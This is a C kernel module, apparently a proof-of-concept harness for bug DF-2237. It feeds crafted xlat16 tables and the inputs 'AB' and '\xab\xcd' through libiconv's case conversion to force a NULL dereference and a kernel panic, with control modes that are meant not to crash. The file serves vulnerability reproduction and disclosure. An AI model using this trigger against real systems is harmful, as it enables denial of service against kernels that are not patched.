DF-2237 / df2237_mod.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 | /* * DF-2237 KLD harness -- drives the REAL iconv_xlat16_conv() through the * exported libiconv KPI (iconv_open / iconv_conv / iconv_conv_case), * exactly the dispatch msdosfs uses via msdosfs_iconv->convchr_case() * (sys/vfs/msdosfs/msdosfs_conv.c:903,988 with KICONV_FROM_UPPER/_LOWER). * * Compile-time mode: * 0 : controls only -- must NOT panic; proves the crafted tables are * otherwise-legitimate xlat16 tables. * 1 : single-byte trigger -- "\x41\x42" with KICONV_FROM_LOWER; entry * 'A' carries XLAT16_HAS_FROM_LOWER_CASE with target 0xC2 whose * block (0x100) is absent -> NULL deref at iconv_xlat16.c:192. * 2 : double-byte trigger -- "\xab\xcd" with KICONV_FROM_LOWER; the * _wctype table maps towlower(0xABCD)=0x8356 whose block (0x156) * is absent in the main table -> NULL deref at iconv_xlat16.c:192. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/iconv.h> #ifndef KMOD_MODE #define KMOD_MODE 0 #endif #define STR_(x) #x #define STR(x) STR_(x) #define DF2237_NAME "df2237_" STR(KMOD_MODE) static void hexpr(const char *tag, const char *p, size_t n) { size_t i; kprintf("df2237: %s [%zu bytes]:", tag, n); for (i = 0; i < n; i++) kprintf(" %02x", (u_char)p[i]); kprintf("\n"); } static int df2237_event(module_t mod, int type, void *data) { void *h = NULL; const char *in; char *outp; char out[64]; size_t ilen, olen; int ret; switch (type) { case MOD_LOAD: #if KMOD_MODE == 2 kprintf("df2237: mode 2 -- double-byte _wctype FROM_LOWER trigger\n"); ret = iconv_open("UTF-16BE", "DF2237W2", &h); #else kprintf("df2237: mode %d\n", KMOD_MODE); ret = iconv_open("UTF-16BE", "DF2237CS", &h); #endif if (ret != 0 || h == NULL) { kprintf("df2237: iconv_open FAILED ret=%d\n", ret); return (ENXIO); } kprintf("df2237: iconv_open OK handle=%p\n", h); #if KMOD_MODE == 2 /* control: plain conversion of the trigger bytes */ in = "\xab\xcd"; ilen = 2; outp = out; olen = sizeof(out); ret = iconv_conv(h, &in, &ilen, &outp, &olen); kprintf("df2237: control plain conv ret=%d consumed=%zu\n", ret, (size_t)(2 - ilen)); hexpr("control out", out, sizeof(out) - olen); kprintf("df2237: >>> TRIGGER conv_case(FROM_LOWER) \"\\xab\\xcd\" " "-- expect NULL deref in iconv_xlat16_conv\n"); in = "\xab\xcd"; ilen = 2; outp = out; olen = sizeof(out); ret = iconv_conv_case(h, &in, &ilen, &outp, &olen, KICONV_FROM_LOWER); kprintf("df2237: <<< SURVIVED ret=%d consumed=%zu produced=%zu\n", ret, (size_t)(2 - ilen), sizeof(out) - olen); hexpr("trigger out", out, sizeof(out) - olen); #else /* control 1: plain conversion, no case handling */ in = "AB"; ilen = 2; outp = out; olen = sizeof(out); ret = iconv_conv(h, &in, &ilen, &outp, &olen); kprintf("df2237: control plain conv ret=%d consumed=%zu\n", ret, (size_t)(2 - ilen)); hexpr("control out", out, sizeof(out) - olen); /* control 2: FROM_LOWER whose target block IS present */ in = "C"; ilen = 1; outp = out; olen = sizeof(out); ret = iconv_conv_case(h, &in, &ilen, &outp, &olen, KICONV_FROM_LOWER); kprintf("df2237: control conv_case(FROM_LOWER) 'C' ret=%d " "consumed=%zu\n", ret, (size_t)(1 - ilen)); hexpr("control out", out, sizeof(out) - olen); #if KMOD_MODE == 1 kprintf("df2237: >>> TRIGGER conv_case(FROM_LOWER) \"AB\" " "-- expect NULL deref in iconv_xlat16_conv\n"); in = "AB"; ilen = 2; outp = out; olen = sizeof(out); ret = iconv_conv_case(h, &in, &ilen, &outp, &olen, KICONV_FROM_LOWER); kprintf("df2237: <<< SURVIVED ret=%d consumed=%zu produced=%zu\n", ret, (size_t)(2 - ilen), sizeof(out) - olen); hexpr("trigger out", out, sizeof(out) - olen); #endif #endif kprintf("df2237: mode %d complete\n", KMOD_MODE); return (0); case MOD_UNLOAD: return (0); default: return (EOPNOTSUPP); } } static moduledata_t df2237_mod = { DF2237_NAME, df2237_event, NULL }; DECLARE_MODULE(df2237, df2237_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_DEPEND(df2237, libiconv, 2, 2, 2); |